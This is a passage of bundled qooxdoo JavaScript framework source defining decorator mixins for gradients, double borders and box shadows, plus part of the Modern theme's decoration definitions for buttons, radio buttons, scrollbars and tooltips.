"_applyStyle" } }, /* ***************************************************************************** MEMBERS ***************************************************************************** */ members : { __markup : null, // overridden _getDefaultInsets : function() { return { top : 2, right : 2, bottom : 2, left : 2 }; }, // overridden _isInitialized: function() { return !!this.__markup; }, /* --------------------------------------------------------------------------- PROPERTY APPLY ROUTINES --------------------------------------------------------------------------- */ // property apply _applyStyle : function() { if (qx.core.Environment.get("qx.debug")) { if (this.__markup) { throw new Error("This decorator is already in-use. Modification is not possible anymore!"); } } }, /* --------------------------------------------------------------------------- INTERFACE IMPLEMENTATION --------------------------------------------------------------------------- */ // interface implementation getMarkup : function() { if (this.__markup) { return this.__markup; } var Color = qx.theme.manager.Color.getInstance(); var html = []; // Prepare border styles var outerStyle = "1px solid " + Color.resolve(this.getOuterColor()) + ";"; var innerStyle = "1px solid " + Color.resolve(this.getInnerColor()) + ";"; // Outer frame html.push('<div style="overflow:hidden;font-size:0;line-height:0;">'); // Background frame html.push('<div style="'); html.push('border:', outerStyle); html.push(qx.bom.element.Opacity.compile(0.35)); html.push('"></div>'); // Horizontal frame html.push('<div style="position:absolute;top:1px;left:0px;'); html.push('border-left:', outerStyle); html.push('border-right:', outerStyle); html.push(qx.bom.element.Opacity.compile(1)); html.push('"></div>'); // Vertical frame html.push('<div style="'); html.push('position:absolute;top:0px;left:1px;'); html.push('border-top:', outerStyle); html.push('border-bottom:', outerStyle); html.push(qx.bom.element.Opacity.compile(1)); html.push('"></div>'); // Inner background frame var backgroundStyle = { position: "absolute", top: "1px", left: "1px", opacity: 1 }; html.push(this._generateBackgroundMarkup(backgroundStyle)); // Inner overlay frame html.push('<div style="position:absolute;top:1px;left:1px;'); html.push('border:', innerStyle); html.push(qx.bom.element.Opacity.compile(this.getInnerOpacity())); html.push('"></div>'); // Outer frame html.push('</div>'); // Store return this.__markup = html.join(""); }, // interface implementation resize : function(element, width, height) { // Fix to keep applied size above zero // Makes issues in IE7 when applying value like '-4px' if (width < 4) { width = 4; } if (height < 4) { height = 4; } // Fix box model if (qx.core.Environment.get("css.boxmodel") == "content") { var outerWidth = width - 2; var outerHeight = height - 2; var frameWidth = outerWidth; var frameHeight = outerHeight; var innerWidth = width - 4; var innerHeight = height - 4; } else { var outerWidth = width; var outerHeight = height; var frameWidth = width - 2; var frameHeight = height - 2; var innerWidth = frameWidth; var innerHeight = frameHeight; } var pixel = "px"; var backgroundFrame = element.childNodes[0].style; backgroundFrame.width = outerWidth + pixel; backgroundFrame.height = outerHeight + pixel; var horizontalFrame = element.childNodes[1].style; horizontalFrame.width = outerWidth + pixel; horizontalFrame.height = frameHeight + pixel; var verticalFrame = element.childNodes[2].style; verticalFrame.width = frameWidth + pixel; verticalFrame.height = outerHeight + pixel; var innerBackground = element.childNodes[3].style; innerBackground.width = frameWidth + pixel; innerBackground.height = frameHeight + pixel; var innerOverlay = element.childNodes[4].style; innerOverlay.width = innerWidth + pixel; innerOverlay.height = innerHeight + pixel; }, // interface implementation tint : function(element, bgcolor) { this._tintBackgroundColor(element, bgcolor, element.childNodes[3].style); } }, /* ***************************************************************************** DESTRUCTOR ***************************************************************************** */ destruct : function() { this.__markup = null; } }); /* ************************************************************************ qooxdoo - the new era of web development http://qooxdoo.org Copyright: 2004-2010 1&1 Internet AG, Germany, http://www.1und1.de License: LGPL: http://www.gnu.org/licenses/lgpl.html EPL: http://www.eclipse.org/org/documents/epl-v10.php See the LICENSE file in the project's top-level directory for details. Authors: * Martin Wittemann (martinwittemann) ************************************************************************ */ /** * Mixin for the linear background gradient CSS property. * This mixin is usually used by {@link qx.ui.decoration.DynamicDecorator}. * * Keep in mind that this is not supported by all browsers: * * * Safari 4.0+ * * Chrome 4.0+ * * Firefox 3.6+ * * Opera 11.1+ * * IE 10+ * * IE 5.5+ (with limitations) * * For IE 5.5 to IE 9,this class uses the filter rules to create the gradient. This * has some limitations: The start and end position property can not be used. For * more details, see the original documentation: * http://msdn.microsoft.com/en-us/library/ms532997(v=vs.85).aspx */ qx.Mixin.define("qx.ui.decoration.MLinearBackgroundGradient", { properties : { /** Start start color of the background */ startColor : { check : "Color", nullable : true, apply : "_applyLinearBackgroundGradient" }, /** End end color of the background */ endColor : { check : "Color", nullable : true, apply : "_applyLinearBackgroundGradient" }, /** The orientation of the gradient. */ orientation : { check : ["horizontal", "vertical"], init : "vertical", apply : "_applyLinearBackgroundGradient" }, /** Position in percent where to start the color. */ startColorPosition : { check : "Number", init : 0, apply : "_applyLinearBackgroundGradient" }, /** Position in percent where to start the color. */ endColorPosition : { check : "Number", init : 100, apply : "_applyLinearBackgroundGradient" }, /** Defines if the given positions are in % or px.*/ colorPositionUnit : { check : ["px", "%"], init : "%", apply : "_applyLinearBackgroundGradient" }, /** Property group to set the start color including its start position. */ gradientStart : { group : ["startColor", "startColorPosition"], mode : "shorthand" }, /** Property group to set the end color including its end position. */ gradientEnd : { group : ["endColor", "endColorPosition"], mode : "shorthand" } }, members : { /** * Takes a styles map and adds the linear background styles in place to the * given map. This is the needed behavior for * {@link qx.ui.decoration.DynamicDecorator}. * * @param styles {Map} A map to add the styles. */ _styleLinearBackgroundGradient : function(styles) { var colors = this.__getColors(); var startColor = colors.start; var endColor = colors.end; var unit = this.getColorPositionUnit(); // new implementation for webkit is available since chrome 10 --> version if (qx.core.Environment.get("css.gradient.legacywebkit")) { // webkit uses px values if non are given unit = unit === "px" ? "" : unit; if (this.getOrientation() == "horizontal") { var startPos = this.getStartColorPosition() + unit +" 0" + unit; var endPos = this.getEndColorPosition() + unit + " 0" + unit; } else { var startPos = "0" + unit + " " + this.getStartColorPosition() + unit; var endPos = "0" + unit +" " + this.getEndColorPosition() + unit; } var color = "from(" + startColor + "),to(" + endColor + ")"; var value = "-webkit-gradient(linear," + startPos + "," + endPos + "," + color + ")"; styles["background"] = value; } else if (qx.core.Environment.get("css.gradient.filter") && !qx.core.Environment.get("css.gradient.linear")) { // make sure the overflow is hidden for border radius usage [BUG #6318] styles["overflow"] = "hidden"; // spec like syntax } else { var deg = this.getOrientation() == "horizontal" ? 0 : 270; // Bugfix for IE10 which seems to use the deg values wrong [BUG #6513] if (qx.core.Environment.get("browser.name") == "ie") { deg = deg - 90; } var start = startColor + " " + this.getStartColorPosition() + unit; var end = endColor + " " + this.getEndColorPosition() + unit; var prefixedName = qx.core.Environment.get("css.gradient.linear"); styles["background-image"] = prefixedName + "(" + deg + "deg, " + start + "," + end + ")"; } }, /** * Helper to get start and end color. * @return {Map} A map containing start and end color. */ __getColors : function() { if (qx.core.Environment.get("qx.theme")) { var Color = qx.theme.manager.Color.getInstance(); var startColor = Color.resolve(this.getStartColor()); var endColor = Color.resolve(this.getEndColor()); } else { var startColor = this.getStartColor(); var endColor = this.getEndColor(); } return {start: startColor, end: endColor}; }, /** * Helper for IE which applies the filter used for the gradient to a separate * DIV element which will be put into the decorator. This is necessary in case * the decorator has rounded corners. * @return {String} The HTML for the inner gradient DIV. */ _getContent : function() { // IE filter syntax // http://msdn.microsoft.com/en-us/library/ms532997(v=vs.85).aspx // It needs to be wrapped in a separate div bug #6318 if (qx.core.Environment.get("css.gradient.filter") && !qx.core.Environment.get("css.gradient.linear")) { var colors = this.__getColors(); var type = this.getOrientation() == "horizontal" ? 1 : 0; // convert all hex3 to hex6 var startColor = qx.util.ColorUtil.hex3StringToHex6String(colors.start); var endColor = qx.util.ColorUtil.hex3StringToHex6String(colors.end); // get rid of the starting '#' startColor = startColor.substring(1, startColor.length); endColor = endColor.substring(1, endColor.length); return "<div style=\"position: absolute; width: 100%; height: 100%; filter:progid:DXImageTransform.Microsoft.Gradient" + "(GradientType=" + type + ", " + "StartColorStr='#FF" + startColor + "', " + "EndColorStr='#FF" + endColor + "';)\"></div>"; } return ""; }, /** * Resize function for the background color. This is suitable for the * {@link qx.ui.decoration.DynamicDecorator}. * * @param element {Element} The element which could be resized. * @param width {Number} The new width. * @param height {Number} The new height. * @return {Map} A map containing the desired position and dimension * (width, height, top, left). */ _resizeLinearBackgroundGradient : function(element, width, height) { var insets = this.getInsets(); width -= insets.left + insets.right; height -= insets.top + insets.bottom; return { left : insets.left, top : insets.top, width : width, height : height }; }, // property apply _applyLinearBackgroundGradient : function() { if (qx.core.Environment.get("qx.debug")) { if (this._isInitialized()) { throw new Error("This decorator is already in-use. Modification is not possible anymore!"); } } } } }); /* ************************************************************************ qooxdoo - the new era of web development http://qooxdoo.org Copyright: 2004-2010 1&1 Internet AG, Germany, http://www.1und1.de License: LGPL: http://www.gnu.org/licenses/lgpl.html EPL: http://www.eclipse.org/org/documents/epl-v10.php See the LICENSE file in the project's top-level directory for details. Authors: * Martin Wittemann (martinwittemann) ************************************************************************ */ /** * Border implementation with two CSS borders. Both borders can be styled * independent of each other. * This mixin is usually used by {@link qx.ui.decoration.DynamicDecorator}. */ qx.Mixin.define("qx.ui.decoration.MDoubleBorder", { include : [qx.ui.decoration.MSingleBorder, qx.ui.decoration.MBackgroundImage], construct : function() { // override the methods of single border and background image this._getDefaultInsetsForBorder = this.__getDefaultInsetsForDoubleBorder; this._resizeBorder = this.__resizeDoubleBorder; this._styleBorder = this.__styleDoubleBorder; this._generateMarkup = this.__generateMarkupDoubleBorder; }, /* ***************************************************************************** PROPERTIES ***************************************************************************** */ properties : { /* --------------------------------------------------------------------------- PROPERTY: INNER WIDTH --------------------------------------------------------------------------- */ /** top width of border */ innerWidthTop : { check : "Number", init : 0 }, /** right width of border */ innerWidthRight : { check : "Number", init : 0 }, /** bottom width of border */ innerWidthBottom : { check : "Number", init : 0 }, /** left width of border */ innerWidthLeft : { check : "Number", init : 0 }, /** Property group to set the inner border width of all sides */ innerWidth : { group : [ "innerWidthTop", "innerWidthRight", "innerWidthBottom", "innerWidthLeft" ], mode : "shorthand" }, /* --------------------------------------------------------------------------- PROPERTY: INNER COLOR --------------------------------------------------------------------------- */ /** top inner color of border */ innerColorTop : { nullable : true, check : "Color" }, /** right inner color of border */ innerColorRight : { nullable : true, check : "Color" }, /** bottom inner color of border */ innerColorBottom : { nullable : true, check : "Color" }, /** left inner color of border */ innerColorLeft : { nullable : true, check : "Color" }, /** * Property group for the inner color properties. */ innerColor : { group : [ "innerColorTop", "innerColorRight", "innerColorBottom", "innerColorLeft" ], mode : "shorthand" } }, members : { __ownMarkup : null, /** * Takes a styles map and adds the inner border styles styles in place * to the given map. This is the needed behavior for * {@link qx.ui.decoration.DynamicDecorator}. * * @param styles {Map} A map to add the styles. */ __styleDoubleBorder : function(styles) { if (qx.core.Environment.get("qx.theme")) { var Color = qx.theme.manager.Color.getInstance(); var innerColorTop = Color.resolve(this.getInnerColorTop()); var innerColorRight = Color.resolve(this.getInnerColorRight()); var innerColorBottom = Color.resolve(this.getInnerColorBottom()); var innerColorLeft = Color.resolve(this.getInnerColorLeft()); } else { var innerColorTop = this.getInnerColorTop(); var innerColorRight = this.getInnerColorRight(); var innerColorBottom = this.getInnerColorBottom(); var innerColorLeft = this.getInnerColorLeft(); } // Inner styles // Inner image must be relative to be compatible with qooxdoo 0.8.x // See http://bugzilla.qooxdoo.org/show_bug.cgi?id=3450 for details styles.position = "relative"; // Add inner borders var width = this.getInnerWidthTop(); if (width > 0) { styles["border-top"] = width + "px " + this.getStyleTop() + " " + innerColorTop; } var width = this.getInnerWidthRight(); if (width > 0) { styles["border-right"] = width + "px " + this.getStyleRight() + " " + innerColorRight; } var width = this.getInnerWidthBottom(); if (width > 0) { styles["border-bottom"] = width + "px " + this.getStyleBottom() + " " + innerColorBottom; } var width = this.getInnerWidthLeft(); if (width > 0) { styles["border-left"] = width + "px " + this.getStyleLeft() + " " + innerColorLeft; } if (qx.core.Environment.get("qx.debug")) { if (!styles["border-top"] && !styles["border-right"] && !styles["border-bottom"] && !styles["border-left"]) { throw new Error("Invalid Double decorator (zero inner border width). Use qx.ui.decoration.Single instead!"); } } }, /** * Special generator for the markup which creates the containing div and * the sourrounding div as well. * * @param styles {Map} The styles for the inner * @return {String} The generated decorator HTML. */ __generateMarkupDoubleBorder : function(styles) { var innerHtml = this._generateBackgroundMarkup( styles, this._getContent ? this._getContent() : "" ); if (qx.core.Environment.get("qx.theme")) { var Color = qx.theme.manager.Color.getInstance(); var colorTop = Color.resolve(this.getColorTop()); var colorRight = Color.resolve(this.getColorRight()); var colorBottom = Color.resolve(this.getColorBottom()); var colorLeft = Color.resolve(this.getColorLeft()); } else { var colorTop = this.getColorTop(); var colorRight = this.getColorRight(); var colorBottom = this.getColorBottom(); var colorLeft = this.getColorLeft(); } // get rid of the old borders styles["border-top"] = ''; styles["border-right"] = ''; styles["border-bottom"] = ''; styles["border-left"] = ''; // Generate outer HTML styles["line-height"] = 0; // Do not set the line-height on IE6, IE7, IE8 in Quirks Mode and IE8 in IE7 Standard Mode // See http://bugzilla.qooxdoo.org/show_bug.cgi?id=3450 for details if ( (qx.core.Environment.get("engine.name") == "mshtml" && parseFloat(qx.core.Environment.get("engine.version")) < 8) || (qx.core.Environment.get("engine.name") == "mshtml" && qx.core.Environment.get("browser.documentmode") < 8) ) { styles["line-height"] = ''; } var width = this.getWidthTop(); if (width > 0) { styles["border-top"] = width + "px " + this.getStyleTop() + " " + colorTop; } var width = this.getWidthRight(); if (width > 0) { styles["border-right"] = width + "px " + this.getStyleRight() + " " + colorRight; } var width = this.getWidthBottom(); if (width > 0) { styles["border-bottom"] = width + "px " + this.getStyleBottom() + " " + colorBottom; } var width = this.getWidthLeft(); if (width > 0) { styles["border-left"] = width + "px " + this.getStyleLeft() + " " + colorLeft; } if (qx.core.Environment.get("qx.debug")) { if (styles["border-top"] == '' && styles["border-right"] == '' && styles["border-bottom"] == '' && styles["border-left"] == '') { throw new Error("Invalid Double decorator (zero outer border width). Use qx.ui.decoration.Single instead!"); } } // final default styles styles["position"] = "absolute"; styles["top"] = 0; styles["left"] = 0; // Store return this.__ownMarkup = this._generateBackgroundMarkup(styles, innerHtml); }, /** * Resize function for the decorator. This is suitable for the * {@link qx.ui.decoration.DynamicDecorator}. * * @param element {Element} The element which could be resized. * @param width {Number} The new width. * @param height {Number} The new height. * @return {Map} A map containing the desired position and dimension and a * emelent to resize. * (width, height, top, left, elementToApplyDimensions). */ __resizeDoubleBorder : function(element, width, height) { var insets = this.getInsets(); width -= insets.left + insets.right; height -= insets.top + insets.bottom; var left = insets.left - this.getWidthLeft() - this.getInnerWidthLeft(); var top = insets.top - this.getWidthTop() - this.getInnerWidthTop(); return { left: left, top: top, width: width, height: height, elementToApplyDimensions : element.firstChild }; }, /** * Implementation of the interface for the double border. * * @return {Map} A map containing the default insets. * (top, right, bottom, left) */ __getDefaultInsetsForDoubleBorder : function() { return { top : this.getWidthTop() + this.getInnerWidthTop(), right : this.getWidthRight() + this.getInnerWidthRight(), bottom : this.getWidthBottom() + this.getInnerWidthBottom(), left : this.getWidthLeft() + this.getInnerWidthLeft() }; } } }); /* ************************************************************************ qooxdoo - the new era of web development http://qooxdoo.org Copyright: 2004-2010 1&1 Internet AG, Germany, http://www.1und1.de License: LGPL: http://www.gnu.org/licenses/lgpl.html EPL: http://www.eclipse.org/org/documents/epl-v10.php See the LICENSE file in the project's top-level directory for details. Authors: * Martin Wittemann (martinwittemann) ************************************************************************ */ /** * Mixin for the box shadow CSS property. * This mixin is usually used by {@link qx.ui.decoration.DynamicDecorator}. * * Keep in mind that this is not supported by all browsers: * * * Firefox 3,5+ * * IE9+ * * Safari 3.0+ * * Opera 10.5+ * * Chrome 4.0+ */ qx.Mixin.define("qx.ui.decoration.MBoxShadow", { properties : { /** Horizontal length of the shadow. */ shadowHorizontalLength : { nullable : true, check : "Integer", apply : "_applyBoxShadow" }, /** Vertical length of the shadow. */ shadowVerticalLength : { nullable : true, check : "Integer", apply : "_applyBoxShadow" }, /** The blur radius of the shadow. */ shadowBlurRadius : { nullable : true, check : "Integer", apply : "_applyBoxShadow" }, /** The spread radius of the shadow. */ shadowSpreadRadius : { nullable : true, check : "Integer", apply : "_applyBoxShadow" }, /** The color of the shadow. */ shadowColor : { nullable : true, check : "Color", apply : "_applyBoxShadow" }, /** Inset shadows are drawn inside the border. */ inset : { init : false, check : "Boolean", apply : "_applyBoxShadow" }, /** Property group to set the shadow length. */ shadowLength : { group : ["shadowHorizontalLength", "shadowVerticalLength"], mode : "shorthand" } }, members : { /** * Takes a styles map and adds the box shadow styles in place to the * given map. This is the needed behavior for * {@link qx.ui.decoration.DynamicDecorator}. * * @param styles {Map} A map to add the styles. */ _styleBoxShadow : function(styles) { if (qx.core.Environment.get("qx.theme")) { var Color = qx.theme.manager.Color.getInstance(); var color = Color.resolve(this.getShadowColor()); } else { var color = this.getShadowColor(); } if (color != null) { var vLength = this.getShadowVerticalLength() || 0; var hLength = this.getShadowHorizontalLength() || 0; var blur = this.getShadowBlurRadius() || 0; var spread = this.getShadowSpreadRadius() || 0; var inset = this.getInset() ? "inset " : ""; var value = inset + hLength + "px " + vLength + "px " + blur + "px " + spread + "px " + color; styles["-moz-box-shadow"] = value; styles["-webkit-box-shadow"] = value; styles["box-shadow"] = value; } }, // property apply _applyBoxShadow : function() { if (qx.core.Environment.get("qx.debug")) { if (this._isInitialized()) { throw new Error("This decorator is already in-use. Modification is not possible anymore!"); } } } } }); /* ************************************************************************ qooxdoo - the new era of web development http://qooxdoo.org Copyright: 2004-2008 1&1 Internet AG, Germany, http://www.1und1.de 2006 STZ-IDA, Germany, http://www.stz-ida.de License: LGPL: http://www.gnu.org/licenses/lgpl.html EPL: http://www.eclipse.org/org/documents/epl-v10.php See the LICENSE file in the project's top-level directory for details. Authors: * Fabian Jakobs (fjakobs) * Sebastian Werner (wpbasti) * Andreas Ecker (ecker) * Alexander Steitz (aback) * Martin Wittemann (martinwittemann) ************************************************************************* */ /* ************************************************************************ #asset(qx/decoration/Modern/*) ************************************************************************ */ /** * The modern decoration theme. */ qx.Theme.define("qx.theme.modern.Decoration", { aliases : { decoration : "qx/decoration/Modern" }, decorations : { /* --------------------------------------------------------------------------- CORE --------------------------------------------------------------------------- */ "main" : { decorator: qx.ui.decoration.Uniform, style : { width : 1, color : "border-main" } }, "selected" : { decorator : qx.ui.decoration.Background, style : { backgroundImage : "decoration/selection.png", backgroundRepeat : "scale" } }, "selected-css" : { decorator : [ qx.ui.decoration.MLinearBackgroundGradient ], style : { startColorPosition : 0, endColorPosition : 100, startColor : "selected-start", endColor : "selected-end" } }, "selected-dragover" : { decorator : qx.ui.decoration.Single, style : { backgroundImage : "decoration/selection.png", backgroundRepeat : "scale", bottom: [2, "solid", "border-dragover"] } }, "dragover" : { decorator : qx.ui.decoration.Single, style : { bottom: [2, "solid", "border-dragover"] } }, "pane" : { decorator : qx.ui.decoration.Grid, style : { baseImage : "decoration/pane/pane.png", insets : [0, 2, 3, 0] } }, "pane-css" : { decorator : [ qx.ui.decoration.MSingleBorder, qx.ui.decoration.MBorderRadius, qx.ui.decoration.MBoxShadow, qx.ui.decoration.MLinearBackgroundGradient ], style : { width: 1, color: "tabview-background", radius : 3, shadowColor : "shadow", shadowBlurRadius : 2, shadowLength : 0, gradientStart : ["pane-start", 0], gradientEnd : ["pane-end", 100] } }, "group" : { decorator : qx.ui.decoration.Grid, style : { baseImage : "decoration/groupbox/groupbox.png" } }, "group-css" : { decorator : [ qx.ui.decoration.MBackgroundColor, qx.ui.decoration.MBorderRadius, qx.ui.decoration.MSingleBorder ], style : { backgroundColor : "group-background", radius : 4, color : "group-border", width: 1 } }, "border-invalid" : { decorator : qx.ui.decoration.Beveled, style : { outerColor : "invalid", innerColor : "border-inner-input", innerOpacity : 0.5, backgroundImage : "decoration/form/input.png", backgroundRepeat : "repeat-x", backgroundColor : "background-light" } }, "keyboard-focus" : { decorator : qx.ui.decoration.Single, style : { width : 1, color : "keyboard-focus", style : "dotted" } }, /* --------------------------------------------------------------------------- CSS RADIO BUTTON --------------------------------------------------------------------------- */ "radiobutton" : { decorator : [ qx.ui.decoration.MDoubleBorder, qx.ui.decoration.MBackgroundColor, qx.ui.decoration.MBorderRadius, qx.ui.decoration.MBoxShadow ], style : { backgroundColor : "radiobutton-background", radius : 5, width: 1, innerWidth : 2, color : "checkbox-border", innerColor : "radiobutton-background", shadowLength : 0, shadowBlurRadius : 0, shadowColor : "checkbox-focus", insetLeft: 5 // used for the shadow (3 border + 2 extra for the shadow) } }, "radiobutton-checked" : { include : "radiobutton", style : { backgroundColor : "radiobutton-checked" } }, "radiobutton-checked-focused" : { include : "radiobutton-checked", style : { shadowBlurRadius : 4 } }, "radiobutton-checked-hovered" : { include : "radiobutton-checked", style : { innerColor : "checkbox-hovered" } }, "radiobutton-focused" : { include : "radiobutton", style : { shadowBlurRadius : 4 } }, "radiobutton-hovered" : { include : "radiobutton", style : { backgroundColor : "checkbox-hovered", innerColor : "checkbox-hovered" } }, "radiobutton-disabled" : { include : "radiobutton", style : { innerColor : "radiobutton-disabled", backgroundColor : "radiobutton-disabled", color : "checkbox-disabled-border" } }, "radiobutton-checked-disabled" : { include : "radiobutton-disabled", style : { backgroundColor : "radiobutton-checked-disabled" } }, "radiobutton-invalid" : { include : "radiobutton", style : { color : "invalid" } }, "radiobutton-checked-invalid" : { include : "radiobutton-checked", style : { color : "invalid" } }, "radiobutton-checked-focused-invalid" : { include : "radiobutton-checked-focused", style : { color : "invalid", shadowColor : "invalid" } }, "radiobutton-checked-hovered-invalid" : { include : "radiobutton-checked-hovered", style : { color : "invalid", innerColor : "radiobutton-hovered-invalid" } }, "radiobutton-focused-invalid" : { include : "radiobutton-focused", style : { color : "invalid", shadowColor : "invalid" } }, "radiobutton-hovered-invalid" : { include : "radiobutton-hovered", style : { color : "invalid", innerColor : "radiobutton-hovered-invalid", backgroundColor : "radiobutton-hovered-invalid" } }, /* --------------------------------------------------------------------------- SEPARATOR --------------------------------------------------------------------------- */ "separator-horizontal" : { decorator: qx.ui.decoration.Single, style : { widthLeft : 1, colorLeft : "border-separator" } }, "separator-vertical" : { decorator: qx.ui.decoration.Single, style : { widthTop : 1, colorTop : "border-separator" } }, /* --------------------------------------------------------------------------- TOOLTIP --------------------------------------------------------------------------- */ "tooltip-error" : { decorator : qx.ui.decoration.Grid, style : { baseImage : "decoration/form/tooltip-error.png", insets : [ 2, 5, 5, 2 ] } }, "tooltip-error-css" : { decorator : [ qx.ui.decoration.MBackgroundColor, qx.ui.decoration.MBorderRadius, qx.ui.decoration.MBoxShadow ], style : { backgroundColor : "tooltip-error", radius : 4, shadowColor : "shadow", shadowBlurRadius : 2, shadowLength : 1, insets: [-2, 0, 0, -2] } }, "tooltip-error-css-left" : { include : "tooltip-error-css", style : { insets : [1, 0, 0, 2] } }, "tooltip-error-arrow" : { decorator: qx.ui.decoration.Background, style: { backgroundImage: "decoration/form/tooltip-error-arrow.png", backgroundPositionY: "top", backgroundRepeat: "no-repeat", insets: [-4, 0, 0, 13] } }, "tooltip-error-arrow-left" : { decorator: qx.ui.decoration.Background, style: { backgroundImage: "decoration/form/tooltip-error-arrow-right.png", backgroundPositionY: "top", backgroundPositionX: "right", backgroundRepeat: "no-repeat", insets: [-4, -13, 0, 0] } }, "tooltip-error-arrow-left-css" : { decorator: qx.ui.decoration.Background, style: { backgroundImage: "decoration/form/tooltip-error-arrow-right.png", backgroundPositionY: "top", backgroundPositionX: "right", backgroundRepeat: "no-repeat", insets: [-6, -13, 0, 0] } }, /* --------------------------------------------------------------------------- SHADOWS --------------------------------------------------------------------------- */ "shadow-window" : { decorator : qx.ui.decoration.Grid, style : { baseImage : "decoration/shadow/shadow.png", insets : [ 4, 8, 8, 4 ] } }, "shadow-window-css" : { decorator : [ qx.ui.decoration.MBoxShadow, qx.ui.decoration.MBackgroundColor ], style : { shadowColor : "shadow", shadowBlurRadius : 2, shadowLength : 1 } }, "shadow-popup" : { decorator : qx.ui.decoration.Grid, style : { baseImage : "decoration/shadow/shadow-small.png", insets : [ 0, 3, 3, 0 ] } }, "popup-css" : { decorator: [ qx.ui.decoration.MSingleBorder, qx.ui.decoration.MBoxShadow, qx.ui.decoration.MBackgroundColor ], style : { width : 1, color : "border-main", shadowColor : "shadow", shadowBlurRadius : 3, shadowLength : 1 } }, /* --------------------------------------------------------------------------- SCROLLBAR --------------------------------------------------------------------------- */ "scrollbar-horizontal" : { decorator : qx.ui.decoration.Background, style : { backgroundImage : "decoration/scrollbar/scrollbar-bg-horizontal.png", backgroundRepeat : "repeat-x" } }, "scrollbar-vertical" : { decorator : qx.ui.decoration.Background, style : { backgroundImage : "decoration/scrollbar/scrollbar-bg-vertical.png", backgroundRepeat : "repeat-y" } }, "scrollbar-slider-horizontal" : { decorator : qx.ui.decoration.Beveled, style : { backgroundImage : "decoration/scrollbar/scrollbar-button-bg-horizontal.png", backgroundRepeat : "scale", outerColor : "border-main", innerColor : "border-inner-scrollbar", innerOpacity : 0.5 } }, "scrollbar-slider-horizontal-disabled" : { decorator : qx.ui.decoration.Beveled, style : { backgroundImage : "decoration/scrollbar/scrollbar-button-bg-horizontal.png", backgroundRepeat : "scale", outerColor : "border-disabled", innerColor : "border-inner-scrollbar", innerOpacity : 0.3 } }, "scrollbar-slider-vertical" : { decorator : qx.ui.decoration.Beveled, style : { backgroundImage : "decoration/scrollbar/scrollbar-button-bg-vertical.png", backgroundRepeat : "scale", outerColor : "border-main", innerColor : "border-inner-scrollbar", innerOpacity : 0.5 } }, "scrollbar-slider-vertical-disabled" : { decorator : qx.ui.decoration.Beveled, style : { backgroundImage : "decoration/scrollbar/scrollbar-button-bg-vertical.png", backgroundRepeat : "scale", outerColor : "border-disabled", innerColor : "border-inner-scrollbar", innerOpacity : 0.3 } }, // PLAIN CSS SCROLLBAR "scrollbar-horizontal-css" : { decorator : [qx.ui.decoration.MLinearBackgroundGradient], style : { gradientStart : ["scrollbar-start", 0], gradientEnd : ["scrollbar-end", 100] } }, "scrollbar-vertical-css" : { include : "scrollbar-horizontal-css", style : { orientation : "horizontal" } }, "scrollbar-slider-horizontal-css" : { decorator : [ qx.ui.decoration.MSingleBorder, qx.ui.decoration.MLinearBackgroundGradient ], style : { gradientStart : ["scrollbar-slider-start", 0], gradientEnd : ["scrollbar-slider-end", 100], color : "border-main", width: 1 } }, "scrollbar-slider-vertical-css" : { include : "scrollbar-slider-horizontal-css", style : { orientation : "horizontal" } }, "scrollbar-slider-horizontal-disabled-css" : { include : "scrollbar-slider-horizontal-css", style : { color : "button-border-disabled" } }, "scrollbar-slider-vertical-disabled-css" : { include : "scrollbar-slider-vertical-css", style : { color : "button-border-disabled" } }, /* --------------------------------------------------------------------------- PLAIN CSS BUTTON --------------------------------------------------------------------------- */ "button-css" : { decorator : [ qx.ui.decoration.MSingleBorder, qx.ui.decoration.MLinearBackgroundGradient, qx.ui.decoration.MBorderRadius ], style : { radius: 3, color: "border-button", width: 1, startColor: "button-start", endColor: "button-end", startColorPosition: 35, endColorPosition: 100 } }, "button-disabled-css" : { include : "button-css", style : { color : "button-border-disabled", startColor: "button-disabled-start", endColor: "button-disabled-end" } }, "button-hovered-css" : { include : "button-css", style : { startColor : "button-hovered-start", endColor : "button-hovered-end" } }, "button-checked-css" : { include : "button-css", style : { endColor: "button-start", startColor: "button-end" } }, "button-pressed-css" : { include : "button-css", style : { endColor : "button-hovered-start", startColor : "button-hovered-end" } }, "button-focused-css" : { decorator : [ qx.ui.decoration.MDoubleBorder, qx.ui.decoration.MLinearBackgroundGradient, qx.ui.decoration.MBorderRadius ], style : { radius: 3, color: "border-button", width: 1, innerColor: "button-focused", innerWidth: 2, startColor: "button-start", endColor: "button-end", startColorPosition: 30, endColorPosition: 100 } }, "button-checked-focused-css" : { include : "button-focused-css", style : { endColor: "button-start", startColor: "button-end" } }, // invalid "button-invalid-css" : { include : "button-css", style : { color: "border-invalid" } }, "button-disabled-invalid-css" : { include : "button-disabled-css", style : { color : "border-invalid" } }, "button-hovered-invalid-css" : { include : "button-hovered-css", style : { color : "border-invalid" } }, "button-checked-invalid-css" : { include : "button-checked-css", style : { color : "border-invalid" } }, "button-pressed-invalid-css" : { include : "button-pressed-css", style : { color : "border-invalid" } }, "button-focused-invalid-css" : { include : "button-focused-css", style : { color : "border-invalid" } }, "button-checked-focused-invalid-css" : { include : "button-checked-focused-css", style : { color : "border-invalid" } }, /* --------------------------------------------------------------------------- BUTTON --------------------------------------------------------------------------- */ "button" : { decorator : qx.ui.decoration.Grid, style : { baseImage : "decoration/form/button.png", insets : 2 } }, "button-disabled" : { decorator : qx.ui.decoration.Grid, style : { baseImage : "decoration/form/button-disabled.png", insets : 2 } }, "button-focused" : { decorator : qx.ui.decoration.Grid, style : { baseImage : "decoration/form/button-focused.png", insets : 2 } }, "button-hovered" : { decorator : qx.ui.decoration.Grid, style : { baseImage : "decoration/form/button-hovered.png", insets : 2 } }, "button-pressed" : { decorator : qx.ui.decoration.Grid, style : { baseImage : "decoration/form/button-pressed.png", insets : 2 } }, "button-checked" : { decorator : qx.ui.decoration.Grid, style : { baseImage : "decoration/form/button-checked.png", insets : 2 } }, "button-checked-focused" : { decorator : qx.ui.decoration.Grid, style : { baseImage : "decoration/form/button-checked-focused.png", insets : 2 } }, "button-invalid-shadow" : { decorator : qx.ui.decoration.Single, style : { color : "invalid", width : 1 } }, /* --------------------------------------------------------------------------- CHECKBOX --------------------------------------------------------------------------- */ "checkbox-invalid-shadow" : { decorator : qx.ui.decoration.Beveled, style : { outerColor : "invalid", innerColor : "border-focused-invalid", insets: [0] } }, /* --------------------------------------------------------------------------- PLAIN CSS CHECK BOX --------------------------------------------------------------------------- */ "checkbox" : { decorator : [ qx.ui.decoration.MDoubleBorder, qx.ui.decoration.MLinearBackgroundGradient, qx.ui.decoration.MBoxShadow ], style : { width: 1, color: "checkbox-border", innerWidth : 1, innerColor : "checkbox-inner", gradientStart : ["checkbox-start", 0], gradientEnd 